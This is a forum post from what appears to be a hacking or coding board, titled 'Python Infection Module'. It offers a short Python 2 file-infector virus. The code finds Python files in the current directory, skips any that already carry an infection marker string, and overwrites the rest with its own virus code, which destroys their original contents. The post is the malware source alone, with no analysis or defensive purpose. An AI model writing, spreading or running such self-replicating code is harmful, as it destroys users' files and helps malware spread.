Howdy, Stranger!

It looks like you're new here. If you want to get involved, click one of these buttons!

Top Posters

Who's Online (0)

Powered by Vanilla. Made with Bootstrap.
Python Infection Module: Infect All Python Files in Directory
  • Xin
    Posts: 3,251
    import glob
    from string import *
    # test
    files = glob.glob(\"*.py\") + glob.glob(\".pyw\")

    virus = open('pyvirus.py', 'r')
    viruscode = virus.read()

    for file in files:
    text = open(file, 'r')
    stringtext = text.read()


    if 'X1n4pse..!>.!.!' in stringtext:
    print '>> File ' + file + ' already infected'
    else:
    text.close()
    print '>> Infecting ' + file + '...'
    payload = open(file, 'w')
    payload.write(viruscode)

    Xin